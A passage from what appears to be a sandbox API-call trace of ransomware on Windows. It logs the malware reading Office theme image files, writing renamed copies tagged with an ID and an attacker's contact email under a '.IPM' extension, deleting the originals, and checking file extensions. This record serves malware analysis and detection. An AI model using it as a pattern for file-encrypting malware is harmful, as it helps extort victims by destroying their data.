Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.813] GetLastError () returned 0x0 [0092.813] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x8864, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0093.223] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.224] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0093.224] SetEndOfFile (hFile=0x18c) returned 1 [0093.224] CloseHandle (hObject=0x18c) returned 1 [0093.228] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.228] SetEndOfFile (hFile=0x1cc) returned 1 [0093.230] CloseHandle (hObject=0x1cc) returned 1 [0093.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0093.231] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0093.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.231] lstrlenW (lpString=".doc") returned 4 [0093.231] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.231] lstrlenW (lpString=".docx") returned 5 [0093.231] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.231] lstrlenW (lpString=".pdf") returned 4 [0093.231] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.231] lstrlenW (lpString=".xls") returned 4 [0093.231] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.231] lstrlenW (lpString=".xlsx") returned 5 [0093.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.232] lstrlenW (lpString=".ppt") returned 4 [0093.232] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString=".zip") returned 4 [0093.232] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.232] lstrlenW (lpString=".rar") returned 4 [0093.232] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.232] lstrlenW (lpString=".bz2") returned 4 [0093.232] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.232] lstrlenW (lpString=".7z") returned 3 [0093.232] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString=".dbf") returned 4 [0093.232] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString=".1cd") returned 4 [0093.232] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString=".jpg") returned 4 [0093.232] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.232] lstrlenW (lpString=".doc") returned 4 [0093.232] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.232] lstrlenW (lpString=".docx") returned 5 [0093.233] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.233] lstrlenW (lpString=".pdf") returned 4 [0093.233] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.233] lstrlenW (lpString=".xls") returned 4 [0093.233] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.233] lstrlenW (lpString=".xlsx") returned 5 [0093.233] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.233] lstrlenW (lpString=".ppt") returned 4 [0093.233] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.233] lstrlenW (lpString=".zip") returned 4 [0093.233] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.233] lstrlenW (lpString=".rar") returned 4 [0093.233] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.233] lstrlenW (lpString=".bz2") returned 4 [0093.233] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.233] lstrlenW (lpString=".7z") returned 3 [0093.233] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.233] lstrlenW (lpString=".dbf") returned 4 [0093.233] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.233] lstrlenW (lpString=".1cd") returned 4 [0093.233] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0093.233] lstrlenW (lpString=".jpg") returned 4 [0093.233] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.234] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0093.234] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0093.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0093.674] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=20627) returned 1 [0093.674] CloseHandle (hObject=0x200) returned 1 [0093.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0093.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0093.674] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.674] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0093.675] GetLastError () returned 0x0 [0093.675] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x5093, lpOverlapped=0x0) returned 1 [0093.682] WriteFile (in: hFile=0x1ec, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0093.684] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.684] WriteFile (in: hFile=0x1ec, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0093.684] SetEndOfFile (hFile=0x1ec) returned 1 [0093.685] CloseHandle (hObject=0x1ec) returned 1 [0093.685] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.685] SetEndOfFile (hFile=0x200) returned 1 [0093.686] CloseHandle (hObject=0x200) returned 1 [0093.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0093.686] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0093.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.687] lstrlenW (lpString=".doc") returned 4 [0093.687] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.687] lstrlenW (lpString=".docx") returned 5 [0093.687] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.687] lstrlenW (lpString=".pdf") returned 4 [0093.687] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.687] lstrlenW (lpString=".xls") returned 4 [0093.687] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.687] lstrlenW (lpString=".xlsx") returned 5 [0093.687] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.687] lstrlenW (lpString=".ppt") returned 4 [0093.687] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.687] lstrlenW (lpString=".zip") returned 4 [0093.687] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.687] lstrlenW (lpString=".rar") returned 4 [0093.688] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.688] lstrlenW (lpString=".bz2") returned 4 [0093.688] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString=".7z") returned 3 [0093.688] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.688] lstrlenW (lpString=".dbf") returned 4 [0093.688] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.688] lstrlenW (lpString=".1cd") returned 4 [0093.688] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.688] lstrlenW (lpString=".jpg") returned 4 [0093.688] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.688] lstrlenW (lpString=".doc") returned 4 [0093.688] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString=".docx") returned 5 [0093.688] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.688] lstrlenW (lpString=".pdf") returned 4 [0093.688] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.688] lstrlenW (lpString=".xls") returned 4 [0093.688] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.689] lstrlenW (lpString=".xlsx") returned 5 [0093.689] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.689] lstrlenW (lpString=".ppt") returned 4 [0093.689] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.689] lstrlenW (lpString=".zip") returned 4 [0093.689] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.689] lstrlenW (lpString=".rar") returned 4 [0093.689] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.689] lstrlenW (lpString=".bz2") returned 4 [0093.689] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.689] lstrlenW (lpString=".7z") returned 3 [0093.689] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.689] lstrlenW (lpString=".dbf") returned 4 [0093.689] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.689] lstrlenW (lpString=".1cd") returned 4 [0093.689] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0093.689] lstrlenW (lpString=".jpg") returned 4 [0093.690] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.690] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0093.690] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0093.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.481] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=27407) returned 1 [0094.482] CloseHandle (hObject=0x1c4) returned 1 [0094.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0094.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.482] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.482] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0094.483] GetLastError () returned 0x0 [0094.483] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0094.511] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0094.512] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.513] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.513] SetEndOfFile (hFile=0x1bc) returned 1 [0094.513] CloseHandle (hObject=0x1bc) returned 1 [0094.513] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.513] SetEndOfFile (hFile=0x1c4) returned 1 [0094.514] CloseHandle (hObject=0x1c4) returned 1 [0094.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.515] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0094.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.515] lstrlenW (lpString=".doc") returned 4 [0094.515] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.515] lstrlenW (lpString=".docx") returned 5 [0094.516] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.516] lstrlenW (lpString=".pdf") returned 4 [0094.516] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.516] lstrlenW (lpString=".xls") returned 4 [0094.516] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.516] lstrlenW (lpString=".xlsx") returned 5 [0094.516] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.516] lstrlenW (lpString=".ppt") returned 4 [0094.516] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.516] lstrlenW (lpString=".zip") returned 4 [0094.516] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.516] lstrlenW (lpString=".rar") returned 4 [0094.516] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.516] lstrlenW (lpString=".bz2") returned 4 [0094.516] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.516] lstrlenW (lpString=".7z") returned 3 [0094.516] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.516] lstrlenW (lpString=".dbf") returned 4 [0094.516] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.516] lstrlenW (lpString=".1cd") returned 4 [0094.516] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.516] lstrlenW (lpString=".jpg") returned 4 [0094.517] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.517] lstrlenW (lpString=".doc") returned 4 [0094.517] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.517] lstrlenW (lpString=".docx") returned 5 [0094.517] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.517] lstrlenW (lpString=".pdf") returned 4 [0094.517] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.517] lstrlenW (lpString=".xls") returned 4 [0094.517] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.517] lstrlenW (lpString=".xlsx") returned 5 [0094.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.517] lstrlenW (lpString=".ppt") returned 4 [0094.517] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.517] lstrlenW (lpString=".zip") returned 4 [0094.517] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.517] lstrlenW (lpString=".rar") returned 4 [0094.517] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.517] lstrlenW (lpString=".bz2") returned 4 [0094.517] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.517] lstrlenW (lpString=".7z") returned 3 [0094.517] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.518] lstrlenW (lpString=".dbf") returned 4 [0094.518] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.518] lstrlenW (lpString=".1cd") returned 4 [0094.518] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0094.518] lstrlenW (lpString=".jpg") returned 4 [0094.518] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.518] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.518] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.519] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1363) returned 1 [0094.519] CloseHandle (hObject=0x1c4) returned 1 [0094.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0094.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.519] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 